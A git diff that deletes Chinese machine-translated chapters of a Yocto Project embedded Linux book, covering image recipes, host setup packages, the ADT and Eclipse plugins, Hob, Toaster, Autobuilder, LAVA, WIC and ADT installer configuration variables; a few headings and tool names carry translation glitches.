在`qemux86`上所做的最小化工作的目的是围绕核心图像最小图像进行的。 它的目标是将生成的`rootfs`的大小减少到 4MB 以下,引导时间减少到 2 秒以下。 - -现在,移动到选定的 Atmel SAMA5D3 XPlaed 机器,生成另一个`rootfs`,其内容相当大。 它不仅包括`packagegroup-core-boot.bb`包组,还包括其他包组和单独的包。 一个这样的例子是`recipes-core/images`目录中的`meta-atmel`层内的`atmel-xplained-demo-image.bb`图像: - -```sh -DESCRIPTION = "An image for network and communication." -LICENSE = "MIT" -PR = "r1" - -require atmel-demo-image.inc - -IMAGE_INSTALL += "\ - packagegroup-base-3g \ - packagegroup-base-usbhost \ - " -``` - -在此图像中,还继承了另一个更通用的图像定义。 这里,我指的是`atmel-demo-image.inc`文件,当打开时,您可以看到它包含所有`meta-atmel`层图像的核心。 当然,如果所有可用的包都不够用,开发人员可以决定添加他们自己的包。 开发人员面前有两种可能性:创建一个新的映像,或者将包添加到已有的映像中。 最终结果是使用`bitbake atmel-xplained-demo-image`命令构建的。 输出有多种形式,它们高度依赖于所定义的机器的要求。 在构建过程结束时,输出将用于引导实际主板上的根文件系统。 - -# 摘要 - -在本章中,您了解了 Linux`rootfs`的一般知识,还了解了与 Linux 内核组织的通信、Linux`rootfs`、其原理、内容和设备驱动程序。 由于通信往往会随着时间的推移而变得更大,因此我们还向您介绍了有关最小文件系统应该是什么样子的信息。 - -除了这些信息,在下一章中,您还将对 Yocto 项目的可用组件进行概述,因为它们中的大多数都在 POKY 之外。 还将向您介绍每个组件,并简要介绍它们的要点。 在本章之后,我们将向您介绍并详细说明其中的一些内容。 \ No newline at end of file diff --git a/docs/learn-emb-linux-yocto-proj/06.md b/docs/learn-emb-linux-yocto-proj/06.md deleted file mode 100644 index bc904525..00000000 --- a/docs/learn-emb-linux-yocto-proj/06.md +++ /dev/null @@ -1,168 +0,0 @@ -# 六、Yocto 项目的组成 - -在本章中,我们将向您简要介绍 Yocto 项目生态系统的一些组成部分。 本章旨在介绍所有这些内容,以便在接下来的章节中能够更详细地介绍它们。 它还试图引导读者阅读额外的内容。 对于所展示的每个工具、功能或有趣的事实,我们都提供了链接来帮助感兴趣的读者搜索他们自己对本书中的问题以及本章未涉及的问题的答案。 - -本章充满了涉及特定 Yocto 项目工具的嵌入式开发过程的指导和相关示例。 工具的选择是以纯粹主观的方式进行的。 只选择了在开发过程中被认为有帮助的工具。 我们还考虑到这样一个事实,即它们中的一些可以为嵌入式世界和嵌入式系统的总体开发提供新的见解。 - -# ==同步,由 Elderman 更正==@ELDER_MAN - -POKY 表示 Yocto 项目的元数据和工具的参考构建系统,任何对与 Yocto 项目交互感兴趣的人都可以使用它们作为起点。 它是独立于平台的,并提供了构建和定制最终结果的工具和机制,这实际上是一个 Linux 软件堆栈。 POKY 被用作与 Yocto 项目交互的中心部分。 - -作为开发人员使用 Yocto 项目时,了解有关邮寄列表和**Internet Relay Chat**(**IRC**)通道的信息非常重要。 此外,就可用的 bug 和特性列表而言,Bugzilla 项目可以作为灵感的来源。 所有这些元素都需要一个简短的介绍,所以最好的起点将是约克托项目布格齐拉(Yocto Project Bugzilla)。 它为 Yocto 项目的用户提供了一个错误跟踪应用,也是报告问题的地方。 下一个组件由 IRC 的可用通道表示。 Freenode 上有两个可用组件,一个用于 POKY,另一个用于与 Yocto 项目相关的讨论,例如**#POKY**和**#Yocto**。 第三个元素由 Yocto Project 邮件列表表示,用于订阅 Yocto 项目的这些邮件列表: - -* [http://lists.yoctoproject.org/listinfo/yocto](http://lists.yoctoproject.org/listinfo/yocto):这是指进行 yocto 项目讨论的邮件列表 -* [http://lists.yoctoproject.org/listinfo/poky](http://lists.yoctoproject.org/listinfo/poky):这是指关于 Yocto 项目系统的 POKY 构建进行讨论的邮件列表 -* [http://lists.yoctoproject.org/listinfo/yocto-announce](http://lists.yoctoproject.org/listinfo/yocto-announce):这是指发布 Yocto 项目正式公告的邮件列表,以及展示 Yocto 项目里程碑的邮件列表 - -借助[http://lists.yoctoproject.org/listinfo](http://lists.yoctoproject.org/listinfo)的帮助,可以收集有关一般邮件列表和特定于项目的邮件列表的更多信息。 它包含在[https://www.yoctoproject.org/tools-resources/community/mailing-lists](https://www.yoctoproject.org/tools-resources/community/mailing-lists)上可用的所有邮件列表的列表。 - -为了启动使用 Yocto 项目的开发,特别是 POKY,您不应该只使用前面提到的组件;还应该提供关于这些通行费的一些信息。 在他们的文档页面[https://www.yoctoproject.org/documentation](https://www.yoctoproject.org/documentation)上可以很好地解释 Yocto 项目。 如果您有兴趣阅读简短的介绍,可能值得查看*Embedded Linux Development with Yocto Project*,*Otavio 萨尔瓦多*和*Daiane Anangini*,作者是*Packt Publishing*。 - -要使用 Yocto 项目,需要满足一些具体要求: - -* **主机系统**:让我们假设这是一个基于 Linux 的主机系统。 然而,它不是普通的主机系统;Yocto 有特定的要求。 支持的操作系统在`poky.conf`文件中可用,在目录`meta-yocto/conf/distro`中可用。 支持的操作系统在`SANITY_TESTED_DISTROS`变量中定义,其中一些系统如下所示: - * Ubuntu-12.04 - * Ubuntu-13.10 - * Ubuntu-14.04 - * Fedora-19 Fedora 19 - * Fedora-20 Fedora 20 - * CentOS-6.4 - * CentOS-6.5 - * Debian-7.0 - * Debian-7.1 - * Debian-7.2 - * Debian-7.3 - * Debian-7.4 - * Debian-7.5 - * Debian-7.6 - * SUSE-LINUX-12.2 - * OpenSUSE-project-12.3 - * OpenSUSE-project-13.1 -* **Required Packages**:此包含主机系统上可用的软件包的最低要求列表,除了已经可用的软件包。 当然,这在不同的主机系统之间是不同的,并且系统会根据它们的用途而不同。 但是,对于 Ubuntu 主机,我们需要满足以下要求: - * **要点**:指`sudo apt-get install gawk wget git-core diffstat unzip texinfo gcc-multilib build-essential chrpath socat` - * **图形和 Eclipse 插件附加**:这指的是`sudo apt-get install libsdl1.2-dev xterm` - * **文档**:指`sudo apt-get install make xsltproc docbook-utils fop dblatex xmlto` - * **ADT Installer Extras**:这指的是`sudo apt-get install autoconf automake libtool libglib2.0-dev` -* **Yocto 项目版本**:在开始任何工作之前,应该选择一个可用的 POKY 版本。 这本书是基于 DIZZY 分支的,它是 POKY 1.7 版本,但是开发人员可以选择最适合他或她的任何东西。 当然,由于与项目的交互是使用`git`版本控制系统完成的,因此用户首先需要克隆 POKY 存储库,并且对项目的任何贡献都应该作为补丁提交给开放源码社区。 也有可能获得 TAR 存档,但是这种方法有一些限制,因为对源代码所做的任何更改都更难跟踪,而且它还限制了与项目中涉及的社区的交互。 - -如果需要特殊要求,还应注意其他额外的可选要求,如下所示: - -* **自定义 Yocto Project 内核交互**:如果开发人员决定维护内核源 Yocto 项目,并且不适合他们的需要,他们可以在 Yocto Linux 内核部分下的[http://git.yoctoproject.org/cgit.cgi](http://git.yoctoproject.org/cgit.cgi)处获得内核版本支持的 Yocto 项目的本地副本之一,并根据他们的需要进行修改。 当然,这些更改以及其他内核源代码将需要驻留在单独的存储库中,最好是`git`,并且它将通过内核配方引入 Yocto 世界。 -* **meta-yocto-kernel-Extras git 存储库**:在这里,在构建和修改内核映像时收集所需的元数据。 它包含一组个`bbappend`文件,可以对这些文件进行编辑,以向本地表明源代码已更改,这是开发 Linux 内核功能时使用的更有效的方法。 它位于[http://git.yoctoproject.org/cgit.cgi](http://git.yoctoproject.org/cgit.cgi)的**Yocto 元数据层**部分下。 -* **支持的电路板支持包(BSP)**:Yocto 项目提供和支持大量 BSP 层。 每个 BSP 层的命名非常简单,`meta-`,可以在**Yocto Metadata Layers**部分下的[http://git.yoctoproject.org/cgit.cgi](http://git.yoctoproject.org/cgit.cgi)找到。 实际上,每个 BSP 层都是定义 BSP 提供者提供的行为和最低要求的食谱的集合。 有关战略规划编制的更多信息,请参阅[http://www.yoctoproject.org/docs/1.7/dev-manual/dev-manual.html#developing-a-board-support-package-bsp](http://www.yoctoproject.org/docs/1.7/dev-manual/dev-manual.html#developing-a-board-support-package-bsp)。 -* **Eclipse Yocto 插件**:对于对编写应用感兴趣的开发人员,Eclipse**集成开发环境**(**IDE**)随特定于 Yocto 的插件一起提供。 您可以在[http://www.yoctoproject.org/docs/1.7/dev-manual/dev-manual.html#setting-up-the-eclipse-ide](http://www.yoctoproject.org/docs/1.7/dev-manual/dev-manual.html#setting-up-the-eclipse-ide)上找到有关这方面的更多信息。 - -约克托项目内部的发展过程具有多方面的意义。 它可以引用 Yocto Project Bugzilla 中提供的各种错误和功能。 开发者可以将其中一个分配到他或她的帐户并解决它。 各种菜谱可以升级,这一过程也需要开发人员的参与;还可以添加新功能,需要开发人员编写各种菜谱。 所有这些任务都需要有一个定义良好的流程,该流程还涉及`git`交互。 - -要将食谱中添加的更改发送回社区,可以使用可用的创建-拉-请求和发送-拉请求脚本。 这些脚本位于 poky 存储库中的脚本目录中。 此外,在本节中,还提供了许多其他有趣的脚本,例如`create-recipe`脚本,以及我将让您自己发现的其他脚本。 向上游发送更改的另一种首选方法是使用手动方法,该方法涉及与`git`命令(如`git add`、`git commit –s`、`git format-patch`、`git send-email`等)的交互。 - -在继续描述本章中介绍的其他组件之前,我们将回顾一下现有的 Yocto 项目开发模型。 此过程涉及 Yocto 项目提供的以下工具: - -* **系统开发**:这包括 BSP 的开发、内核开发和它的配置。 它们中的每一个在 Yocto 项目文档中都有描述各自开发过程的部分,如[http://www.yoctoproject.org/docs/1.7/bsp-guide/bsp-guide.html#creating-a-new-bsp-layer-using-the-yocto-bsp-script](http://www.yoctoproject.org/docs/1.7/bsp-guide/bsp-guide.html#creating-a-new-bsp-layer-using-the-yocto-bsp-script)和[http://www.yoctoproject.org/docs/1.7/kernel-dev/kernel-dev.html](http://www.yoctoproject.org/docs/1.7/kernel-dev/kernel-dev.html)所示。 -* **用户应用开发**:这包括针对目标硬件设备的应用开发。 有关主机系统上应用开发的必要设置的信息,请参阅[http://www.yoctoproject.org/docs/1.7/adt-manual/adt-manual.html](http://www.yoctoproject.org/docs/1.7/adt-manual/adt-manual.html)。 本章的*Eclipse ADT 插件*部分也将讨论该组件。 -* **源代码临时修改**:这涵盖了开发过程中出现的临时修改。 这涉及到针对项目源代码中提供的各种实现问题的解决方案。 问题解决后,更改需要在上游可用并相应地应用。 -* **HOB 映像的开发**:HOB 构建系统可用于操作和自定义系统映像。 它是一个用 Python 开发的图形界面,作为与 Bitbake 构建系统的更有效的界面。 -* **Devshell 开发**:这是一种使用 Bitbake 构建系统任务的确切环境的开发方法。 它是用于调试或包编辑的最有效的方法之一。 在编写项目的各种组件时,这也是设置构建环境的最快方法之一。 - -对于提供的组件太旧而不能满足 Yocto 项目要求的操作系统,建议使用 buildtools 工具链来提供所需的软件版本。 安装`buildtools`tarball 有两种方法。 第一种方法意味着使用已有的预先构建的 tarball,第二种方法涉及使用 Bitbake 构建系统构建它。 有关此选项的更多信息可以在 Yocto 文档巨型手册[http://www.yoctoproject.org/docs/1.7/mega-manual/mega-manual.html#required-git-tar-and-python-versions](http://www.yoctoproject.org/docs/1.7/mega-manual/mega-manual.html#required-git-tar-and-python-versions)的**Required Git,tar,and Python versions**部分下的小节中找到。 - -# Eclipse ADT 插件 - -**应用开发工具包**,也称为 ADT,提供了一个适用于定制构建和以用户为目标的应用的交叉开发平台。 它是由以下元素组成的: - -* **交叉工具链**:它与`sysroot`相关联,两者都是使用 Bitbake 自动生成的,目标硬件供应商提供目标特定的元数据。 -* **Quick Emulator 环境(QEMU)**:it 用于模拟目标硬件。 -* **用户空间工具**:它改进了应用开发的整体体验 -* **Eclipse IDE**:它包含个特定于 Yocto 项目的插件 - -在本节中,我们将讨论前面的每一个元素,我们将从交叉开发工具链开始。 它由用于目标应用开发的交叉链接器、交叉调试器和交叉编译器组成。 它还需要关联的目标`sysroot`,因为在构建将在目标设备上运行的应用时需要必要的头和库。 生成的`sysroot`与生成`root`文件系统的配置相同;这指的是*映像*配方。 - -工具链可以使用多种方法生成。 最常见的方法是从[http://downloads.yoctoproject.org/releases/yocto/yocto-1.7/toolchain/](http://downloads.yoctoproject.org/releases/yocto/yocto-1.7/toolchain/)下载工具链,并为您的主机和目标获取适当的工具链安装程序。 `poky-glibc-x86_64-core-image-sato-armv7a-vfp-neon-toolchain-1.7.sh`脚本就是一个这样的例子,当执行该脚本时,它会将工具链安装在`/opt/poky/1.7/`目录的默认位置。 如果在开始执行脚本之前在脚本中提供了适当的参数,则可以更改此位置。 - -在生成工具链时,我更喜欢使用的另一种方法是使用 Bitbake 构建系统。 这里,我指的是`meta-ide-support`。 运行`bitbake meta-ide-support`时,会生成跨工具链,并填充构建目录。 在完成此任务后,将获得与前面提到的解决方案相同的结果,但在本例中,将使用已经可用的构建目录。 这两个解决方案剩下的唯一任务是使用包含`environment-setup`字符串的脚本设置环境并开始使用它。 - -QEMU 仿真器提供了在一个硬件设备不可用时模拟该硬件设备的可能性。 有多种方法可以使其在开发过程中可用: - -* 使用 ADT-Installer 生成的脚本安装 ADT。 此脚本中提供的步骤之一提供了在开发过程中启用或禁用 QEMU 的可能性。 -* 下载了 Yocto Project 版本,并在开发过程中默认设置了环境。 然后,QEMU 安装完毕并可供使用。 -* 将创建 POKY 存储库的`git`克隆,并设置环境。 在这种情况下,QEMU 也已安装并可用。 -* 下载、安装了`cross-toolchain`tarball,并设置了环境。 默认情况下,这还会启用 QEMU 并安装它以供以后使用。 - -用户空间工具包含在发行版中,并在开发过程中使用。 它们在 Linux 平台上非常常见,可以包括以下内容: - -* **Perf**:它是一个 Linux 性能计数器,用于测量特定的硬件和软件事件。 有关这方面的更多信息,请参见[https://perf.wiki.kernel.org/](https://perf.wiki.kernel.org/),以及 Yocto 的剖析和跟踪手册,其中有整整一节专门介绍了该工具。 -* **PowerTop**:它是一种功率测量工具,用于确定软件消耗的电量。 有关它的更多信息可在[https://01.org/powertop/](https://01.org/powertop/)获得。 -* **LatencyTop**:它是一个与 PowerTop 类似的工具,不同之处在于这个工具侧重于从桌面上的音频跳跃和卡顿到服务器过载的延迟测量;它有针对这类场景的测量,并针对延迟问题提供了解决方案。 虽然自 2009 年以来这个项目似乎没有提交过,但由于非常有用的事实,它至今仍在使用。 -* **OProfile**:它表示用于 Linux 生态系统的系统范围的分析器,开销很低。 有关它的更多信息,请访问[http://oprofile.sourceforge.net/about/](http://oprofile.sourceforge.net/about/)。 在 Yocto 的剖析和跟踪手册中也有一节可用。 -* **SystemTap**:它提供关于正在运行的 Linux 系统的基础设施的信息,以及系统的性能和功能问题。 虽然它不能作为 Eclipse 扩展使用,但只能作为 Linux 发行版中的一个工具。 有关 it 的更多信息,请参见[http://sourceware.org/systemtap](http://sourceware.org/systemtap)。 它还在 Yocto 的剖析和跟踪手册中定义了一个部分。 -* **Ltd-ust**:它是项目的用户空间跟踪器,提供与用户空间活动相关的信息。 更多信息可在[http://lttng.org/](http://lttng.org/)获得。 - -ADT 平台的最后一个元素由 Eclipse IDE 表示。 事实上,它是最流行的开发环境,它为 Yocto 项目的开发提供了全力支持。 在 Eclipse IDE 中安装 Yocto Project Eclipse 插件后,Yocto Project 体验就完整了。 这些插件提供了在 QEMU 仿真环境中交叉编译、开发、部署和执行生成的二进制文件的可能性。 交叉调试、跟踪、远程分析和电力数据收集等活动也是可能的。 有关使用 Yocto 项目的 Eclipse 插件的活动的更多信息,可以在[http://www.yoctoproject.org/docs/1.7/mega-manual/mega-manual.html#adt-eclipse](http://www.yoctoproject.org/docs/1.7/mega-manual/mega-manual.html#adt-eclipse)中找到。 - -为了更好地了解 ADT 工具包平台和 Eclipse 的应用开发工作流程,下图中提供了整个过程的概述: - -![Eclipse ADT plug-ins](img/image00325.jpeg) - -应用开发过程也可以使用与已提供的工具不同的其他工具来完成。 然而,所有这些选项都涉及到 Yocto Project 组件的使用,最引人注目的是 Poby 参考系统。 因此,ADT 是开源社区建议、测试和推荐的选项。 - -# Hob 和 Toaster - -该项目-**Hob**-表示 Bitbake 构建系统的图形用户界面。 它的目的是简化与 Yocto 项目的交互,并为该项目创建更精简的学习曲线,允许用户以更简单的方式执行日常任务。 它的主要关注点是 Linux 操作系统映像的生成。 随着时间的推移,它不断发展,现在可以认为它既适合有经验的用户,也适合没有经验的用户。 虽然我更喜欢使用命令行交互,但这句话并不适用于所有 Yocto Project 用户。 - -然而,随着 Daisy1.6 的发布,Hob 的开发似乎停止了。 开发活动稍微转移到了新项目-**Toaster**-,稍后将对其进行解释;Hob 项目今天仍在使用,应该提到它的功能。 因此,当前可用的 HOB 版本能够执行以下操作: - -* 自定义可用的基本图像配方 -* 创建完全自定义的图像 -* 构建任何给定的映像 -* 使用 QEMU 运行映像 -* 在 U 盘上部署映像,以便在目标上进行实时引导 - -可以使用与执行 Bitbake 相同的方式启动 Hob 项目。 创建环境源和构建目录后,可以调用`hob`命令并为用户显示图形界面。 这样做的缺点是该工具不能替代命令行交互。 如果需要创建新食谱,则此工具将无法为任务提供任何帮助。 - -下一个项目叫 Toaster。 它是一个应用编程接口,也是 Yocto 项目构建的 Web 接口。 在其当前状态下,它只能通过 Web 浏览器收集和显示与构建过程相关的信息。 以下是其部分功能: - -* 生成过程中执行和重用的任务的可见性 -* 构建组件的可见性,例如一个映像的食谱和包-这是以类似于 Hob 的方式完成的 -* 提供有关食谱的信息,如依赖项、许可证等 -* 提供与性能相关的信息,如磁盘 I/O、CPU 使用率等 -* 为调试目的提供错误、警告和跟踪报告 - -虽然看起来可能不多,但这个项目承诺提供构建和定制构建的可能性,就像 Hob 做的那样,以及许多其他好东西。 您可以在[https://wiki.yoctoproject.org/wiki/Toaster](https://wiki.yoctoproject.org/wiki/Toaster)找到关于此工具的有用信息。 - -# 自动生成器 - -**Autobuilder**是一个促进构建测试自动化并进行质量保证的项目。 通过这个内部项目,Yocto 社区试图设置一条路径,让嵌入式开发人员能够发布他们的 QA 测试和测试计划,开发用于自动测试、持续集成的新工具,并开发 QA 过程来演示和展示它们,以使所有相关方受益。 - -通过使用 Autobuilder 平台(可从[http://autobuilder.yoctoproject.org/](http://autobuilder.yoctoproject.org/)获得)发布其当前状态的项目已经实现了这些点。 每个人都可以访问此链接,并对与 Yocto 项目相关的所有更改以及所有支持的硬件平台的夜间构建进行测试。 虽然从 Buildbot 项目开始,它从该项目借用组件进行持续集成,但该项目承诺继续前进,并提供执行运行时测试和其他必备功能的可能性。 - -您可以在[https://wiki.yoctoproject.org/wiki/AutoBuilder](https://wiki.yoctoproject.org/wiki/AutoBuilder)和[https://wiki.yoctoproject.org/wiki/QA](https://wiki.yoctoproject.org/wiki/QA)上找到有关此项目的一些有用信息,其中提供了对每个版本所做的 QA 过程的访问,以及一些额外信息。 - -# ►T0®熔岩 - -Lava 项目不是 Yocto 项目的内部工作,而是由 Linaro 开发的项目,Linaro 是一个自动化验证架构,旨在测试 Linux 系统在设备上的部署。 虽然它的主要关注点是 ARM 架构,但它是开源的这一事实并不会阻碍它的发展。 它的实际名称是**Linaro Automation and Validation Architecture**(**LAVA**)。 - -该项目提供了在硬件或虚拟平台上部署操作系统、在项目中定义、测试和执行操作系统的可能性。 这些测试可以是各种复杂的,它们可以合并成更大、更有说服力的测试,并及时跟踪结果,然后导出结果数据进行分析。 - -这是基于持续发展的架构的思想开发的,该架构允许测试执行与自动化和质量控制一起进行。 同时,它还为收集的数据提供验证。 测试可以是任何东西,从编译引导测试到对内核调度程序的更改(可能降低功耗,也可能没有降低功耗)。 - -虽然它还很年轻,但这个项目已经获得了相当多的观众,所以对这个项目进行一些调查不会伤害到任何人。 - -### 备注 - -熔岩手册可在[https://validation.linaro.org/static/docs/](https://validation.linaro.org/static/docs/)获得 - -# WIC - -**WIC**更多的是的功能,而不是项目本身。 它是文档最少的,如果搜索它,您可能找不到任何结果。 我之所以决定在这里提及它,是因为在开发过程中可能会出现一些特殊需求,比如从可用的包(如`.deb`、`.rpm`或`.ipk`)生成自定义的`root`文件系统。 这份工作是最适合 WIC 工具的工作。 - -该工具试图解决设备或引导加载程序的一些特殊要求,例如`root`文件系统的特殊格式化或分区。 这是一个高度定制的工具,提供了扩展其功能的可能性。 它是从另一个名为**Oeic**的工具开发而来的,该工具用于为硬件创建特定的专有格式化图像,并被导入到 Yocto 项目中,以便为那些不想接触食谱、已经打包源代码或需要对其可交付的 Linux 图像进行特殊格式化的开发人员提供更广泛的服务。 - -不幸的是,没有关于该工具的文档,但我可以将感兴趣的人带到它在 Yocto 项目中的位置。 它驻留在脚本目录中名为 WIC 的 POKY 存储库中。 WIC 可以用作任何脚本,并且它提供了一个帮助界面,您可以在其中查找更多信息。 此外,它的功能将在接下来的章节中以扩展的方式介绍。 - -关于围绕 Yocto 项目开发的所有个可用项目的列表可以在[https://www.yoctoproject.org/tools-resources/projects](https://www.yoctoproject.org/tools-resources/projects)找到。 有一些可用的项目没有在本章的上下文中讨论,但我会让您了解其中的每一个。 还有其他外部项目没有上榜。 我鼓励您自己去发现和了解它们。 - -# 摘要 - -在本章中,我们向您介绍了本书下一步将讨论的元素。 在下一章中,前面提到的每一节都将在不同的章节中介绍,信息将以更深入和更实用的方式介绍。 - -在下一章中,前面提到的过程将从应用开发工具包平台开始。 我们将介绍搭建平台所需的步骤,并向您介绍一些使用场景。 这些包括交叉开发、使用 QEMU 进行调试以及特定工具之间的交互。 \ No newline at end of file diff --git a/docs/learn-emb-linux-yocto-proj/07.md b/docs/learn-emb-linux-yocto-proj/07.md deleted file mode 100644 index a761239d..00000000 --- a/docs/learn-emb-linux-yocto-proj/07.md +++ /dev/null @@ -1,431 +0,0 @@ -# 七、ADT Eclipse 插件 - -在本章中,您将看到 Yocto 项目中可用工具的新视角。 本章标志着对 Yocto 项目生态系统中可用的各种工具的介绍的开始,这些工具非常有用,并且与 POKY 参考系统不同。 在本章中,将简要介绍**应用开发环境**(**ADE**),重点介绍 Eclipse 项目和 Yocto 项目添加的插件。 其中显示了许多插件及其配置和用例。 - -还将向您显示**应用开发工具包**(**ADT**)的更广泛的视图。 该项目的主要目标是提供一个能够开发、编译、运行、调试和分析软件应用的软件堆栈。 它试图做到这一点,而不需要从开发人员的角度进行额外的学习。 考虑到 Eclipse 是最常用的**集成开发环境**(**IDES**)之一,并且随着时间的推移,它变得非常友好、稳定和可靠,因此它的学习曲线非常低。 ADT 用户体验与任何 Eclipse 或非 Eclipse 用户使用 Eclipse IDE 时的体验非常相似。 可用的插件试图使这种体验尽可能相似,以便开发类似于任何 Eclipse IDE。 唯一的区别在于配置步骤之间,这定义了不同的 Eclipse IDE 版本之间的区别。 - -ADT 提供了以独立于平台的方式使用独立交叉编译器、调试工具分析器、仿真器甚至开发板交互的可能性。 虽然与硬件交互是嵌入式开发人员的最佳选择,但在大多数情况下,由于各种原因,缺少真正的硬件。 对于这些场景,可以使用 QEMU 仿真器来模拟必要的硬件。 - -# 应用开发工具包 - -ADT 是 Yocto 项目的组件之一,它提供了一个交叉开发平台,非常适合用户特定的应用开发。 要有序地进行开发过程,需要一些组件: - -* Eclipse IDE Yocto 插件 -* 用于特定硬件仿真的 QEMU 仿真器 -* 跨工具链及其特定的`sysroot`,它们都是特定于体系结构的,都是使用 Yocto 项目提供的元数据和构建系统生成的 -* 用户空间工具,用于增强开发人员对应用开发过程的体验 - -当使用 Eclipse IDE 提供对 Yocto 项目的完全支持并最大化 Yocto 体验时,就可以使用 Eclipse 插件。 最终结果是为 Yocto 开发人员的需求定制的环境,具有跨工具链、在真实硬件上部署或 QEMU 仿真特性,以及许多可用于收集数据、跟踪、分析和性能检查的工具。 - -QEMU 模拟器用于模拟各种硬件。 它可以通过以下方法获得: - -* 使用 ADT 安装程序脚本,该脚本提供了安装它的可能性 -* 克隆一个狭小的存储库并获取环境资源,然后授予对 QEMU 环境的访问权限 -* 下载 Yocto 版本和采购环境可获得相同的结果 -* 安装跨工具链并获取环境资源,以使 QEMU 环境可用 - -该工具链包含交叉调试器、交叉编译器和交叉链接器,它们在应用开发过程中得到了很好的使用。 工具链还为目标设备提供了匹配的 sysroot,因为它需要访问在目标体系结构上运行所需的各种头文件和库。 Sysroot 从根文件系统生成,并使用相同的元数据配置。 - -用户空间工具包括前面章节中已经提到的工具,如 SystemTap、PowerTop、LatencyTop、Perf、OProfile 和 LTTng-UST。 它们用于获取有关系统和开发的应用的信息;信息,如功耗、桌面卡顿、事件计数、性能概述、诊断软件、硬件或功能问题,甚至跟踪软件活动。 - -## 设置环境 - -在进一步解释 ADT 项目之前,需要了解它的 Eclipse IDE 插件、安装的其他特性和功能。 要安装 Eclipse IDE,第一步需要设置一个主机系统。 有多种方法可以做到这一点: - -* **使用 ADT 安装脚本**:这是安装 ADT 的推荐方法,主要是,因为安装过程是完全自动化的。 用户可以控制他们想要使用的功能。 -* **使用 ADT tarball**:此方法涉及具有特定于体系结构的工具链的适当 tarball 的一部分,并使用脚本进行设置。 Tarball 既可以下载,也可以使用 Bitbake 手动构建。 这种方法也有局限性,因为除了跨工具链和 QEMU 仿真器之外,并不是所有的特性在安装后都可用。 -* **使用构建目录**中的工具链:此方法利用了事实,即构建目录已经可用,因此跨工具链的设置非常容易。 另外,在这种情况下,它面临着与前面提到的相同的限制。 - -ADT 安装脚本是安装 ADT 的首选方法。 当然,在进入安装步骤之前,需要准备好必要的依赖项,以确保 ADT 安装脚本能够顺利运行。 - -这些包已经在前面的章节中提到过了,但是为了让您的事情变得简单,我们将在这里再次对它们进行解释。 我建议你回到这些章节,把这些信息作为记忆练习再参考一遍。 要引用您可能感兴趣的包,请看一下 ADT 安装程序包,如`autoconf automake libtool libglib2.0-dev`、Eclipse 插件和`libsdl1.2-dev xterm`包提供的图形支持。 - -在主机系统准备好所有必需的依赖项后,可以从[http://downloads.yoctoproject.org/releases/yocto/yocto-1.7/adt-installer/](http://downloads.yoctoproject.org/releases/yocto/yocto-1.7/adt-installer/)下载 ADT tarball。 在此位置,可以使用`adt_installer.tar.bz2`档案。 它需要下载并提取其内容。 - -这个 tarball 也可以在 build 目录中使用 Bitbake 构建系统生成,并且结果将在`tmp/deploy/sdk/adt_installer.tar.bz2`位置中可用。 要生成它,需要将下一个命令放入 build 目录,即`bitbake adt-installer`。 还需要为目标设备正确配置构建目录。 - -使用`tar -xjf adt_installer.tar.bz2`命令解压存档。 它可以在任何目录中解压,解压`adt-installer`目录后,将创建并包含名为`adt_installer`的 ADT 安装程序脚本。 它还有一个名为`adt_installer.conf`的配置文件,用于在运行脚本之前定义配置。 配置文件定义信息,如文件系统、内核、QEMU 支持等。 - -以下是配置文件包含的变量: - -* `YOCTOADT_REPO`:这定义了安装所依赖的包和根文件系统。 其参考值定义在[http://adtrepo.yoctoproject.org//1.7](http://adtrepo.yoctoproject.org//1.7)处。 这里定义了目录结构,其结构在不同版本之间是相同的。 -* `YOCTOADT_TARGETS`:这定义了为其设置交叉开发环境的目标架构。 定义了可以与此变量关联的默认值,例如`arm`、`ppc`、`mips`、`x86`和`x86_64`。 此外,可以将多个值与其关联,并使用空格分隔符实现它们之间的分隔。 -* `YOCTOADT_QEMU`:此变量定义 QEMU 仿真器的使用。 如果设置为`Y`,仿真器将在安装后可用;否则,该值将设置为`N`,因此仿真器将不可用。 -* `YOCTOADT_NFS_UTIL`:这定义是否要安装 NFS 用户模式。 如前所述,可用的值是`Y`和`N`。 为了使用 Eclipse IDE 插件,需要为`YOCTOADT_QEMU`和`YOCTOADT_NFS_UTIL`定义`Y`值。 -* `YOCTOADT_ROOTFS_`:这指定使用前面提到的`YOCTOADT_REPO`变量中定义的存储库中的哪个体系结构根文件系统。 对于`arch`变量,默认值是已经在`YOCTOADT_TARGETS`变量中提到的那些值。 此变量的有效值由可用的图像文件表示,如`minimal`、`sato`、`minimal-dev`、`sato-sdk`、`lsb`、`lsb-sdk`等。 对于变量的多个参数,可以使用空格分隔符。 -* `YOCTOADT_TARGET_SYSROOT_IMAGE_`:这表示将从中生成交叉开发工具链的`sysroot`的根文件系统。 ‘ARCH’变量的有效值与前面提到的值相同。 它的值取决于之前定义为`YOCTOADT_ROOTFS_`变量的值。 因此,如果只定义了一个变量作为`YOCTOADT_ROOTFS_`变量的值,那么`YOCTOADT_TARGET_SYSROOT_IMAGE_`也可以使用相同的值。 此外,如果在`YOCTOADT_ROOTFS_`变量中定义了多个变量,则其中一个变量需要定义`YOCTOADT_TARGET_SYSROOT_IMAGE_`变量。 -* `YOCTOADT_TARGET_MACHINE_`:这定义了为其下载映像的计算机,因为相同体系结构的计算机之间可能存在编译选项差异。 此变量的有效值可以是,如下所示:`qemuarm`、`qemuppc`、`ppc1022ds`、`edgerouter`、`beaglebone`,依此类推。 -* `YOCTOADT_TARGET_SYSROOT_LOC_`:这定义了目标`sysroot`在安装过程后可用的位置。 - -配置文件中还定义了一些变量,例如`YOCTOADT_BITBAKE`和`YOCTOADT_METADATA`,它们是为将来的工作参考而定义的。 在根据开发人员的需要定义所有变量后,即可开始安装过程。 这可以通过运行`adt_installer`脚本来完成: - -```sh -cd adt-installer -./adt_installer - -``` - -以下是`adt_installer.conf`文件的示例: - -```sh -# Yocto ADT Installer Configuration File -# -# Copyright 2010-2011 by Intel Corp. -# -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: - -# The above copyright notice and this permission notice shall be included in -# all copies or substantial portions of the Software. - -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR 